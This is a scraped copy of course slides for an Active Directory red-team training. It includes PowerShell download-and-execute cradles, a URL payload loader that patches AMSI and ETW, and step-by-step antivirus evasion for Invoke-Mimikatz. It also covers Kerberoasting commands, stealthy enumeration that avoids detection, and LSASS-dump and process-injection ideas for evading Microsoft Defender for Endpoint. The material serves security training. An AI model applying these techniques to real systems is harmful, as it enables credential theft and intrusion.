0% found this document useful (0 votes)
68 views393 pages

Advanced Active Directory Security Training

The document outlines an advanced training course on attacking and defending Active Directory, led by Nikhil Mittal from Altered Security. It covers various modules including attack methodologies, lateral movement, credential extraction, and bypassing defenses, emphasizing practical lab experience without using exploits. The course aims to equip security professionals with knowledge and skills to navigate and secure Active Directory environments effectively.

Uploaded by

flexanderson98
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
68 views393 pages

Advanced Active Directory Security Training

The document outlines an advanced training course on attacking and defending Active Directory, led by Nikhil Mittal from Altered Security. It covers various modules including attack methodologies, lateral movement, credential extraction, and bypassing defenses, emphasizing practical lab experience without using exploits. The course aims to equip security professionals with knowledge and skills to navigate and secure Active Directory environments effectively.

Uploaded by

flexanderson98
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

Attacking and Defending Active Directory -

Advanced Edition
Nikhil Mittal
[Link]

1
About me
• Twitter - @nikhil_mitt
• Founder of Altered Security - [Link]
• GitHub - [Link]/samratashok
• Creator of Nishang, Deploy-Deception, RACE toolkit and more
• Interested in Active Directory and Azure security
• Previous Talks and/or Trainings
– DEF CON, BlackHat, BruCON and more.

AlteredSecurity AD Attacks - Advanced © Altered Security 2

2
Altered Security
• Trained more than 40000 security professionals from more than 130 countries!
• Our Red Team Labs Platform enables labs to be:
– Affordable
– Easy to Access
– Stable and provide great user experience
– Fun to Solve
– Big enough to feel enterprise-like

Red team labs [Link]/online-labs


Instructor-led bootcamps [Link]/bootcamps
GitHub [Link]/AlteredSecurity
Lab Platform [Link]
Free Labs and Challenges [Link]
AlteredSecurity AD Attacks - Advanced © Altered Security 3

3
Course Content
• Module 1
– Introduction to Attack Methodology
– Offensive PowerShell and .NET tradecraft
– Domain Enumeration, Group Policy, OUS, ACLs, LAPS and more.
– Local Privilege Escalation
• Module 2
– Evading Application Allowlisting (WDAC)
– Lateral Movement
– Credential Extraction and Replay
– Domain Privilege Escalation
• Module 3
– Domain Persistence
– Advanced Cross Trust Attacks - Within forest, Across forest and Entra ID
• Module 4
– Bypassing Defenses (MDE and MDI)
– Monitoring and Detections

AlteredSecurity AD Attacks - Advanced © Altered Security 4

4
Goal
• The training expects knowledge of Active Directory security and familiarity
with Windows command line.
• This course introduces a concept, demonstrates how an attack can be
executed and then have Learning Objective section where students can
practice in the lab.
• The lab, like a real-world red team operation, forces you to use built-in tools
as long as possible and focus on functionality abuse. So, in this course, we will
NOT use any exploits and exploitation framework.
• We start from a foothold box as a normal domain user.
• Everything is not on the slides :)

AlteredSecurity AD Attacks - Advanced © Altered Security 5

5
Word of Caution
• In scope:
– [Link]/24 – [Link]/24, 192.168.100.X
– [Link]-[Link] are NOT in scope.
• Everything else is NOT in scope.
• Attacking out of scope machines may result in disqualification from the
class.
• Please treat the lab network as a dangerous environment and take care
of yourself!

AlteredSecurity AD Attacks - Advanced © Altered Security 6

6
How to use the course content
• You have access to the slides, slides notes, lab manual, walk-through
videos, Attack Paths Diagram, Lab Diagram and Tools.
• Access the course and the lab using the lab portal -
[Link]
• Keeping an eye on the Lab diagram and Attack paths diagrams will help!

AlteredSecurity AD Attacks - Advanced © Altered Security 7

7
Philosophy of the course
• We will emulate an adversary who has a foothold machine in the target
domain.
• We will not use any exploit in the class but will depend on abuse of
functionality and features with are rarely patched.
• We try to use the built-in tools and avoid touching disk as long as
possible. We will not use any exploitation framework in the class.

AlteredSecurity AD Attacks - Advanced © Altered Security 8

8
Active Directory
• Directory Service used to managed Windows networks.
• Stores information about objects on the network and makes it easily
available to users and admins.
• "Active Directory Domain Services (AD DS) enables centralized, secure
management of an entire network, which might span a building, a city
or multiple locations throughout the world."
[Link]
pro/windows-server-2003/cc780036(v=ws.10)

AlteredSecurity AD Attacks - Advanced © Altered Security 9

9
AlteredSecurity AD Attacks - Advanced © Altered Security 10

[Link]

10
Active Directory - Components
• Schema – Defines objects and their attributes.
• Query and index mechanism – Provides searching and publication of
objects and their properties.
• Global Catalog – Contains information about every object in the
directory.
• Replication Service – Distributes information across domain controllers.

AlteredSecurity AD Attacks - Advanced © Altered Security 11

11
Active Directory - Structure
• Forests, domains and organization units (OUs) are the basic building
blocks of any active directory structure.
• A forest – which is a security
boundary – may contain
multiple domains and each
domain may contain multiple
OUs.

AlteredSecurity AD Attacks - Advanced © Altered Security 12

12
Tools
• C/C++/C# - Public code
• PowerShell - Built-in cmdlets, Microsoft Signed Modules, PowerShell
Remoting, Public scripts and Custom scripts.
• Windows native executables

AlteredSecurity AD Attacks - Advanced © Altered Security 13

13
[Link]

14
PowerShell Script Execution
• Download execute cradle
iex (New-Object [Link]).DownloadString('[Link]

$ie=New-Object -ComObject
[Link];$[Link]=$False;$[Link]('[Link]
');sleep 5;$response=$[Link];$[Link]();iex $response

PSv3 onwards - iex (iwr '[Link]

$h=New-Object -ComObject
[Link];$[Link]('GET','[Link]
$[Link]

$wr = [[Link]]::Create("[Link]
$r = $[Link]()
IEX ([[Link]]($[Link]())).ReadToEnd()

AlteredSecurity AD Attacks - Advanced © Altered Security 16

Check out Invoke-CradleCrafter:


[Link]

16
PowerShell Detections
• System-wide transcription
• Script Block logging
• AntiMalware Scan Interface (AMSI)
• Constrained Language Mode (CLM) - Integrated with Applocker and
WDAC (Device Guard)

AlteredSecurity AD Attacks - Advanced © Altered Security 17

17
15 ways to bypass PowerShell execution policy
[Link]
execution-policy

18
PowerShell Tradecraft
• Offensive PowerShell is not dead.
• The detections depend on your target organization and if you are using
customized code.
• There are bypasses and then there are obfuscated bypasses!
• Remember, the focus of the class is Active Directory :)

AlteredSecurity AD Attacks - Advanced © Altered Security 19

19
Bypassing PowerShell Security
• We will use Invisi-Shell ([Link] for
bypassing the security controls in PowerShell.
• The tool hooks the .NET assemblies
([Link] and [Link]) to bypass
logging
• It uses a CLR Profiler API to perform the hook.
• "A common language runtime (CLR) profiler is a dynamic link library
(DLL) that consists of functions that receive messages from, and send
messages to, the CLR by using the profiling API. The profiler DLL is
loaded by the CLR at run time."

AlteredSecurity AD Attacks - Advanced © Altered Security 20

[Link]
Shell/blob/master/InvisiShellProfier/[Link]
[Link]
api/profiling/profiling-overview

20
Bypassing PowerShell Security
Using Invisi-Shell
• With admin privileges:
[Link]

• With non-admin privileges:


[Link]

• Type exit from the new PowerShell session to complete the clean-up.

AlteredSecurity AD Attacks - Advanced © Altered Security 21

21
Bypassing AV Signatures for PowerShell
• We can always load scripts in memory and avoid detection using AMSI bypass.
• How do we bypass signature based detection of on-disk PowerShell scripts by Windows Defender?
• We can use the AMSITrigger ([Link] or DefenderCheck
([Link] to identify code and strings from a binary or script that
Windows Defender may flag.

• Simply provide path to the script file to scan it:


AmsiTrigger_x64.exe -i C:\AD\Tools\Invoke-PowerShellTcp_Detected.ps1
[Link] PowerUp.ps1

• For full obfuscation of PowerShell scripts, see Invoke-Obfuscation


([Link] That is used for obfuscating the AMSI
bypass in the course!

AlteredSecurity AD Attacks - Advanced © Altered Security 22

More on PowerShell obfuscation - [Link]


Obfuscation-Bible

22
Bypassing AV Signatures for PowerShell
• Steps to avoid signature based detection are pretty simple:
1) Scan using AMSITrigger
2) Modify the detected code snippet
3) Rescan using AMSITrigger
4) Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or
“Blank”

AlteredSecurity AD Attacks - Advanced © Altered Security 23

23
Bypassing AV Signatures for PowerShell - Invoke-
PowerShellTcp
• Scan using AMSITrigger

AlteredSecurity AD Attacks - Advanced © Altered Security 24

24
Bypassing AV Signatures for PowerShell - Invoke-
PowerShellTcp
• Reverse the "[Link]" string on line number 32
$String = "[Link]"
$class = ([regex]::Matches($String,'.','RightToLeft') | ForEach
{$_.value}) -join ''
if ($Reverse)
{
$client = New-Object System.$[Link]($IPAddress,$Port)
}
• Check again with AMSITrigger!

AlteredSecurity AD Attacks - Advanced © Altered Security 25

25
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Using only the minimal portion of a script is also useful.
• We can remove the part of a script that is getting detected but is not
used.
• For this we can scan the script with DefenderCheck and then use the
ByteToLineNumber.ps1 script in the C:\AD\Tools folder.

AlteredSecurity AD Attacks - Advanced © Altered Security 26

26
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Scan using DefenderCheck
• Here, we can see the
detection part is at the
offset 0x1DCD2.
• We can find the line number
of the detected part using
ByteToLineNumber.ps1
script

AlteredSecurity AD Attacks - Advanced © Altered Security 27

27
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Running the script, we find the line number for the detected
offset is 1984.

AlteredSecurity AD Attacks - Advanced © Altered Security 28

28
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Navigate to line 2640 in any
text editor, we see that it is
the start of a base64
encoded binary, which is
getting detected.

AlteredSecurity AD Attacks - Advanced © Altered Security 29

29
Bypassing AV Signatures for PowerShell – PowerUp
– Script Modification
• Scrolling up, we see the
binary is used in the
function "Write-
ServiceBinary".
• We can delete the base64
encoded binary that is
getting detected or remove
the entire function.

AlteredSecurity AD Attacks - Advanced © Altered Security 30

30
Bypassing AV Signatures for PowerShell - PowerUp
• Check the script after removing the detected portion and it would be
marked safe!

AlteredSecurity AD Attacks - Advanced © Altered Security 31

31
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
• Invoke-Mimikatz is THE most heavily signature PowerShell script!
• We must rename it before scanning with AmsiTrigger or we get an access denied.

AlteredSecurity AD Attacks - Advanced © Altered Security 32

32
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
• There are multiple detections. We need to make the following changes:
1. Remove default comments.
2. Rename the script, function names and variables.
3. Modify the variable names of the Win32 API calls that are detected.
4. Obfuscate PEBytes content → PowerKatz dll using packers.
5. Implement a reverse function for PEBytes to avoid any static signatures.
6. Add a sandbox check to waste dynamic analysis resources.
7. Remove Reflective PE warnings for a clean output.
8. Use obfuscated commands for Invoke-MimiEx execution.
9. Analysis using DefenderCheck.

AlteredSecurity AD Attacks - Advanced © Altered Security 33

33
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
1. Remove all default embedded comments such as follows:

AlteredSecurity AD Attacks - Advanced © Altered Security 34

34
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
2. Rename the script and Invoke-Mimikatz function to Invoke-Mimi and
replace variables such as DumpCreds to something like DC.

AlteredSecurity AD Attacks - Advanced © Altered Security 35

35
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
3. Modify the variable names of the Win32 API calls that are detected -
"VirtualProtect", WriteProcessMemroy" and "CreateRemoteThread"

AlteredSecurity AD Attacks - Advanced © Altered Security 36

36
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
4. Even if all static signatures are
avoided, PEBytes content
(base64 encodedPowerKatz dll)
is still detected by AMSI after
execution.

Rebuild a powerkatz dll from


Mimikatz source and use
ProtectMyTooling to obfuscate
the powerkatz dll as shown.

AlteredSecurity AD Attacks - Advanced © Altered Security 37

ProtectMyTooling: [Link]

37
Bypassing AV Signatures for PowerShell - Invoke-
Mimikatz
5. Convert the powerkatz dll into base64 and next reverse the string and use it as
PEBytes64rev.
Finally implement code to reverse this string for execution to bypass static detections.

AlteredSecurity AD Attacks - Advanced © Altered Security 38

38
Bypassing AV Signatures for PowerShell - Invoke-Mimikatz
$EvidenceOfSandbox = New-Object [Link]

6. Add a sandbox check $FilePathsToCheck = 'C:\windows\System32\Drivers\[Link]’,


'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
to waste dynamic 'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
analysis resources and 'C:\windows\system32\Drivers\vmx_svga.sys', 'C:\windows\system32\Drivers\[Link]’,
'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
avoid detection after 'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’,
execution. 'C:\windows\System32\Drivers\[Link]', 'C:\windows\System32\Drivers\[Link]’

ForEach ($FilePath in $FilePathsToCheck) {


if (Test-Path $FilePath) {
[void]$[Link]($FilePath)
We are targeting VMware and }
}
VirtualBox in the example.
if ($[Link] -eq 0) {
} else {
Write-Output "The following files on disk suggest we are running in a sandbox. Caution!."
$EvidenceOfSandbox
}

AlteredSecurity AD Attacks - Advanced © Altered Security 39


Bypassing AV Signatures for PowerShell - Invoke-Mimikatz

7. Remove Warnings for a clean output by deleting this line in script:


Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try
restarting PowerShell and trying again" -WarningAction Continue

• Next remove IntPtr and other errors by adding:


ErrorActionPreference = "silentlycontinue"

AlteredSecurity AD Attacks - Advanced © Altered Security 40


Bypassing AV Signatures for PowerShell - Invoke-Mimikatz

8. For safe Invoke-MimiEx execution for a command such as sekurlsa::ekeys append an


obfuscated command to the end of the script as follows:
$j = “yS“
$i = “E“
$h = “k“
$g = “E“
$f = “::“
$e = “a“
$d = “lS“
$c = “r“
$b = “EKu“
$a = “s“

$Pwn = $a + $b + $c + $d + $e + $f + $g + $h + $i + $j

Invoke-Mimi -Command $Pwn

AlteredSecurity AD Attacks - Advanced © Altered Security 41


Bypassing AV Signatures for PowerShell - Invoke-Mimikatz

9. Finally, analyzing the scripts for any further detections we find that both Invoke-
Mimi and Invoke-MimiEx now remain undetected.
C:\AD\Tools\DefenderCheck> .\[Link] C:\AD\Tools\Invoke-Mimi.ps1
[+] No threat found in submitted file!

C:\AD\Tools\DefenderCheck> .\[Link] C:\AD\Tools\Invoke-MimiEx.ps1


[+] No threat found in submitted file!

AlteredSecurity AD Attacks - Advanced © Altered Security 42


Offensive .NET - Introduction
• Currently, .NET lacks some of the security features implemented in
[Link].
• Because of this, many Red teams have included .NET in their tradecraft.
• There are many open source Offensive .NET tools and we will use the
ones that fit our attack methodology.

AlteredSecurity AD Attacks - Advanced © Altered Security 43

A repo of popular Offensive C# tools - [Link]

43
Offensive .NET - Tradecraft
• When using .NET (or any other compiled language) there are some challenges
– Detection by countermeasures like AV, EDR etc.
– Delivery of the payload (Recall PowerShell's sweet download-execute
cradles)
– Detection by logging like process creation logging, command line logging
etc.
• We will try and address the AV detection and delivery of the payload as and
when required during the class ;)
• You are on your own when the binaries that we share start getting detected
by Windows Defender!

AlteredSecurity AD Attacks - Advanced © Altered Security 44

44
Offensive .NET - Tradecraft - AV bypass
• We will focus mostly on bypass of signature-based detection by
Windows Defender.
• For that, we can use techniques like Obfuscation, String Manipulation
etc.
• We can again use DefenderCheck to identify code and strings from a
binary that Windows Defender may flag.
• This helps us in deciding on modifying the source code and minimal
obfuscation.
• We can also use source code obfuscation.

AlteredSecurity AD Attacks - Advanced © Altered Security 45

45
Offensive .NET - Tradecraft - AV bypass – Source
Code Obfuscation
• Tools such as Codecepticon ([Link] can also
obfuscate the source code to bypass any signature-related detection.
• Codecepticon needs to be compiled in Visual Studio and it’s command line
generator can help generate an obfuscation command quickly.

AlteredSecurity AD Attacks - Advanced © Altered Security 46

46
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• Compile the project in Visual Studio and navigate to the output directory, to open
the [Link] file.
• Here, you can decide how you want to obfuscate the source code.

AlteredSecurity AD Attacks - Advanced © Altered Security 47

47
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• You can also use the following command to obfuscate the source code with
Codecepticon:
C:\AD\Tools\[Link] --action obfuscate --module csharp --verbose -
-path "C:\AD\Tools\Rubeus-master\[Link]" --map-file "
C:\AD\Tools\Rubeus-master\[Link]" --profile rubeus --rename ncefpavs
--rename-method markov --markov-min-length 3 --markov-max-length 10 --
markov-min-words 3 --markov-max-words 5 --string-rewrite --string-rewrite-
method xor

AlteredSecurity AD Attacks - Advanced © Altered Security 48

48
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• With the command, Codecepticon will obfuscate everything in the .NET source code
of the Rubeus project:

AlteredSecurity AD Attacks - Advanced © Altered Security 49

49
Offensive .NET - Tradecraft - AV bypass - Source
Code Obfuscation
• If you now open up the project in Visual Studio, all the
structs/enums/parameters/variables/etc, will have been renamed.

AlteredSecurity AD Attacks - Advanced © Altered Security 50

50
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• A great tool to obfuscate the compiled binary is ConfuserEx
([Link]
• ConfuserEx is a free .NET obfuscator, which can stop AVs from performing signature
based detection.

AlteredSecurity AD Attacks - Advanced © Altered Security 51

51
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Run ConfuserEx GUI from C:\AD\Tools directory.
• Add the Release folder of the compiled binary to ConfuserEx

AlteredSecurity AD Attacks - Advanced © Altered Security 52

52
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Download ConfuserEx GUI from the “Releases” page and simply run it.
• Add the Release folder of the compiled binary to ConfuserEx

AlteredSecurity AD Attacks - Advanced © Altered Security 53

53
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Add a new Rule in the settings page
• Double click the rule and set the preset to “Maximum”

AlteredSecurity AD Attacks - Advanced © Altered Security 54

54
Offensive .NET - Tradecraft - AV bypass - ConfuserEx
• Finally, in the protect page, click "Protect: to produce the obfuscated binary.
• Verify with DefenderCheck.

AlteredSecurity AD Attacks - Advanced © Altered Security 55

55
Offensive .NET - Tradecraft - Payload Delivery
• We can use NetLoader ([Link] to
deliver our binary payloads.

• It can be used to load binary from filepath or URL and patch AMSI & ETW
while executing.
C:\Users\Public\[Link] -path
[Link]

• We are using NetLoader with CsWhispers project to add D/Invoke and indirect
syscall execution as NetLoader uses classic Process Injection WinAPIs which is
flagged on basic import table analysis.

AlteredSecurity AD Attacks - Advanced © Altered Security 56

CsWhispers - [Link]
Original NetLoader - [Link]

56
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
1. Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code'
under build configuration.
2. Create a new file called [Link] under [Link] and append
NT API and struct equivalents that are required to be replaced in the NetLoader
project.
3. Finally, append the NetLoader project into [Link] and replace
appropriate WinAPIs with their NT equivalents. Build the solution.
4. Obfuscate the generated assembly using Nimcrypt2.

AlteredSecurity AD Attacks - Advanced © Altered Security 57

57
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
1. Download CsWhispers, open it in Visual Studio and Check 'Allow unsafe code'
under build configuration..

AlteredSecurity AD Attacks - Advanced © Altered Security 58

58
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
2. Create a new file called [Link] under [Link] and append
NT API and struct equivalents that are required to be replaced in the NetLoader
project.

AlteredSecurity AD Attacks - Advanced © Altered Security 59

59
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
3. Finally, append the NetLoader project into [Link] and replace
appropriate WinAPIs with their NT equivalents. An example replacement for the
VirtualProtect WINAPI can be found below. Build the solution.

AlteredSecurity AD Attacks - Advanced © Altered Security 60

60
Offensive .NET - Tradecraft - Payload Delivery
Steps to use Loader with CsWhispers:
4. Obfuscate the generated assembly using Nimcrypt2.
kali> ./nimcrypt -f [Link] -e -n -s --no-ppid-spoof -o [Link] -t csharp

-e: Encrypt strings using the strenc module


-n: Disable syscall name randomization
-s: Disable sandbox checks
--no-ppid-spoof: Disable PPID Spoofing
-t: Type of file
-o: Output filename

AlteredSecurity AD Attacks - Advanced © Altered Security 61

61
Methodology - Assume Breach

"It is more likely that an organization has already been compromised, but just
hasn't discovered it yet."

AlteredSecurity AD Attacks - Advanced © Altered Security 62

Microsoft Cloud Red Teaming Paper: [Link]


Red-Teaming-b837392

62
Insider Attack Simulation

AlteredSecurity AD Attacks - Advanced © Altered Security 63

63
The Lab Environment
• We target the Active Directory environment of a fictitious critical tech company called
'Techcorp'.
• Techcorp has segregated their AD in multiple forests across departments, locations and
vendors. It has
– (Almost) fully patched Server 2019 machines.
– Server 2016 Forest Functional Level (There is nothing called Server 2019 Forest
Functional Level).
– Multiple forests and multiple domains.
– Minimal firewall usage so that we focus more on concepts.
• On student machines, you can find all the tools in C:\AD\Tools directory. It is exempted from
Windows Defender.
• Access the course and the lab using the lab portal - [Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 64

64
AlteredSecurity AD Attacks - Advanced © Altered Security 65

65
Domain Enumeration
• For enumeration we can use the following tools
− The ActiveDirectory PowerShell module (MS signed and works even in PowerShell CLM)
[Link]
[Link]

Import-Module C:\AD\Tools\ADModule-master\[Link]
Import-Module C:\AD\Tools\ADModule-master\ActiveDirectory\ActiveDirectory.psd1

− BloodHound (C# and PowerShell Collectors)


[Link]

− PowerView (PowerShell)
[Link]

. C:\AD\Tools\PowerView.ps1

− SharpView (C#) - Doesn't support filtering using Pipeline


[Link]
AlteredSecurity AD Attacks - Advanced © Altered Security 66

[Link]
without-installing-the-remote-server-tools/
[Link]
[Link]

66
Domain Enumeration - BloodHound
• Provides GUI for AD entities and relationships for the data collected by
its ingestors.
• Uses Graph Theory for providing the capability of mapping shortest path
for interesting things like Domain Admins.
• There are built-in queries for frequently used actions.
• Also supports custom Cypher queries.

AlteredSecurity AD Attacks - Advanced © Altered Security 67

67
Domain Enumeration - BloodHound
• There are two free versions of BloodHound
1. BloodHound Legacy - [Link]
2. BloodHound CE (Community Edition) - [Link]

• BloodHound Legacy is present in the C:\AD\Tools directory of your student


VM.

• You can have Read-only access to to the prep-populated BloodHound CE -


[Link]
Use the credentials for crtpreader@[Link] from
the lab portal - [Link]

AlteredSecurity AD Attacks - Advanced © Altered Security 68

68
Domain Enumeration - BloodHound Legacy
• Supply data to BloodHound:
C:\AD\Tools\[Link] -Path C:\AD\Tools\BloodHound-
master\BloodHound-master\Collectors\[Link] -args --
collectionmethods All

• The gathered data can be uploaded to the BloodHound Legacy


application

AlteredSecurity AD Attacks - Advanced © Altered Security 69

69
Domain Enumeration - BloodHound CE
• Supply data to BloodHound:
C:\AD\Tools\[Link] -Path C:\AD\Tools\Sharphound\[Link] -
args --collectionmethods All

• The gathered data can be uploaded to the BloodHound CE.

• Remember that you have Read-only access to the share web UI in the
lab.

AlteredSecurity AD Attacks - Advanced © Altered Security 70

70
Domain Enumeration - BloodHound
• To make BloodHound collection stealthy, remove noisy collection
methods like RDP, DCOM, PSRemote and LocalAdmin.
• Use the -ExcludeDCsto avoid detection by MDI:

C:\AD\Tools\[Link] -Path C:\AD\Tools\SharpHound\[Link] -


args --collectionmethods
Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets,CertServices --excludedcs

• Remember to remove the 'CertServices' collection method when using BloodHound legacy collector.

AlteredSecurity AD Attacks - Advanced © Altered Security 71

71
Domain Enumeration - SOAPHound
• Use SOAPHound for even more stealth.
• It talks to Active Driectory Web Services (ADWS - Port 9389) in place of sending
LDAP queries - just like the AD Module.
– Almost no network-based detection (like MDI).
– It retrieves information about all objects (objectGuid=*) and then process them.
It means limited LDAP queries - less chance of endpoint detection.

• Build a cache that includes basic info about domain objects.


[Link] --buildcache -c C:\AD\Tools\[Link]
• Collect BloodHound compatible data
[Link] -c C:\AD\Tools\[Link] --bhdump -o C:\AD\Tools\bloodhound-output --nolaps

AlteredSecurity AD Attacks - Advanced © Altered Security 72

[Link]
[Link]

72
73
Find-GPOComputerAdmin -OUName
'OU=Mgmt,DC=us,DC=techcorp,DC=local'
Above command from the older PowerView version works fine
79
Reference: [Link]
control-model
Reference: [Link]
between-threads-and-securable-objects
Reference: [Link]
aces
Active Directory Rights: [Link]
us/library/[Link](v=vs.110).aspx
Extended Rights: [Link]
86
Reference: [Link]
98
Privilege Escalation
• In an AD environment, there are multiple scenarios which lead to privilege escalation. We had a look
at the following
– Hunting for Local Admin access on other machines
– Hunting for high privilege domain accounts (like a Domain Administrator)
• Let's also look for Local Privilege Escalation.

AlteredSecurity AD Attacks - Advanced © Altered Security 105

105
106
109
AlteredSecurity AD Attacks - Advanced © Altered Security 110

110
114
Privilege Escalation
• Let's start actively looking for ability to access other users or machines in the domain. This will be a
mix of Privilege escalation, Admin Recon and Lateral movement.

AlteredSecurity AD Attacks - Advanced © Altered Security 119

119
121
[Link]
20of%20Hades%20-%20Attacking%20Microsoft%20Kerberos%20%20-
%20Tim%20Medin%281%[Link]

122
123
Request a ticket using .NET classes
Add-Type -AssemblyNAme [Link]
New-Object
[Link]
Token -ArgumentList "USSvc/serviceaccount"

Invoke-Kerberoast from BC Empire ([Link]


can be used as well for cracking with John or Hashcat.
. .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -Identity serviceaccount
Crack ticket using tgsrepcrack
Check if the ticket has been granted
[Link]
Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
Crack the Service account password
[Link] .\[Link] .\[Link]
'.\2-40a10000-studentuser@USSvc~serviceaccount-
[Link]'
127
Reference: [Link]

128
129
130
131
132
LAPS intro: [Link]
overview

133
[Link]
microsoft-laps-schema

134
135
For abusing LAPS for persistence, see: [Link]
[Link]
[Link]

136
137
AlteredSecurity AD Attacks - Advanced © Altered Security 138

138
[Link]
authentication/credentials-processes-in-windows-authentication
[Link]
find-credentials-in-them
[Link]
[Link]
find-credentials-in-them
[Link]
Unofficial mimikatz guide:
[Link]
[Link]
[Link]
Reference for logon types: [Link]
logon-types-and-where-to-find-credentials-in-them
[Link]
147
AlteredSecurity AD Attacks - Advanced © Altered Security 148

148
[Link]
accounts/group-managed-service-accounts-overview
[Link]
adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
[Link]
adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
Introduction to EDRs - MDE
• Endpoint Detection and Response (EDRs) systems protect individual devices
(endpoints) by continuously monitoring for and responding to security threats.

• It includes features for threat detection, incident response, investigation, and


forensics, making it a vital component of modern cybersecurity strategies.

• Most EDRs correlate activity to gain broader telemetry and improve on detections..
Even if all performed activity is undetected by an AV, EDRs can still correlate all
actions performed to identify attacker TTPs.

AD Attacks - Advanced © Altered Security


AlteredSecurity 154
Introduction to EDRs - MDE
• In this lab, we will be targeting the popular, high performing EDR by Microsoft called
Microsoft Defender for Endpoint (MDE).

• MDE in addition to standard EDR capabilities provides it also collects and processes
behavioral signals from the OS and analyzes this using cloud security analytics.

• MDE also supports detections based on the following technologies:


– Attack surface reduction rules, Exploit protection, Network protection, Controlled folder access
and Device control.

AD Attacks - Advanced © Altered Security


AlteredSecurity 155

MDE official docs: [Link]


365/security/defender-endpoint/microsoft-defender-endpoint?view=o365-
worldwide
Introduction to EDRs - MDE
• MDE is enabled on us-jumpX in the lab.

• Visit the XDR dashboard ([Link] and login as


crtereader@[Link] to view and correlate performed
activity in the Incidents and Alerts tab.

• Our objective is to remain undetected by AV and EDR on us-jump to perform:


– Lateral movement / remote access
– Tool transfer
– Credential extraction
– Data exfiltration

AD Attacks - Advanced © Altered Security


AlteredSecurity 156
MDE - Credential Extraction – LSASS Dump

• While performing LSASS credential dumping, direct interaction/extraction of data


from the LSASS process (Ex: Mimikatz sekurlsa::logonpasswords) is detected by
MDE.

• A more opsec friendly way is by performing a dump of the LSASS process in a covert
way and then exfiltrating it to later analyze offline.

• However, standard techniques to create LSASS dumps (Ex: taskmanager → create


dump file) are still detected and blocked.

AD Attacks - Advanced © Altered Security


AlteredSecurity 157
MDE - Credential Extraction – LSASS Dump

• Most tools create an LSASS dump by:


1. Gaining a handle to the LSASS process.
2. Creating a minidump using the MiniDumpWriteDump WinAPI function implemented in
[Link] / [Link].
3. Writing the dump file on disk.

• These 3 actions are heavily monitored by EDRs and are most times flagged and
blocked.

• To circumvent these detections, we can use Process Injection Techniques that are
aren’t detected by MDE and invoke shellcode that performs an LSASS Dump in a
covert way.
AD Attacks - Advanced © Altered Security
AlteredSecurity 158

MiniDumpWriteDump Windows API function: [Link]


us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump
MDE – MockingJay Process Injection
• MockingJay is a Process Injection technique introduced by SecurityJoes that is
currently undetected by MDE.

• In short, this technique involves invoking our shellcode within a memory area that
naturally allows Read-Write-Execute (RWX) permissions in a trusted DLL without
having to use typical process injection Windows/NT APIs like VirtualAllocEx (heavily
monitored by AV/EDRs).
Two possibilities of performing injection exist:
– Self Injection: Find a vulnerable trusted DLL with RWX permissions to copy our shellcode into and
load the DLL and execute shellcode.
– Remote Injection: Leveraging trusted applications that use a vulnerable trusted DLL with RWX
permissions to perform the same functionality as in Self Injection.

AD Attacks - Advanced © Altered Security


AlteredSecurity 159

MockingJay Blog: [Link]


rwx-in-userland-to-achieve-code-execution
MDE – MockingJay Process Injection
• Since Remote Injection involves leveraging installed application which could vary on
target applications we mainly focus on Self Injection.

• To find DLL's with an RWX portion we can use a POC such as:
[Link]

• Using this POC to find DLLs with an RWX portion on a stock VM doesn't result in
many interesting findings. However, we could use an already found DLL and transfer
it along with the MockingJay POC to perform Self Injection.

AD Attacks - Advanced © Altered Security


AlteredSecurity 160
MDE – MockingJay Process Injection
• The DLL like C:\Program Files\Microsoft Visual
Studio\2022\Community\Common7\IDE\CommonExtensions\Microsoft\TeamFoundation\
Team Explorer\Git\usr\bin\[Link] doesn't allow to execute larger shellcodes.

• We need to find another DLL suitable with a large enough RWX section.

• Attempting to find such DLLs on a test machine with Visual Studio and a few
standard SDKs installations, some interesting results were found.

AD Attacks - Advanced © Altered Security


AlteredSecurity 161
MDE – MockingJay Process Injection
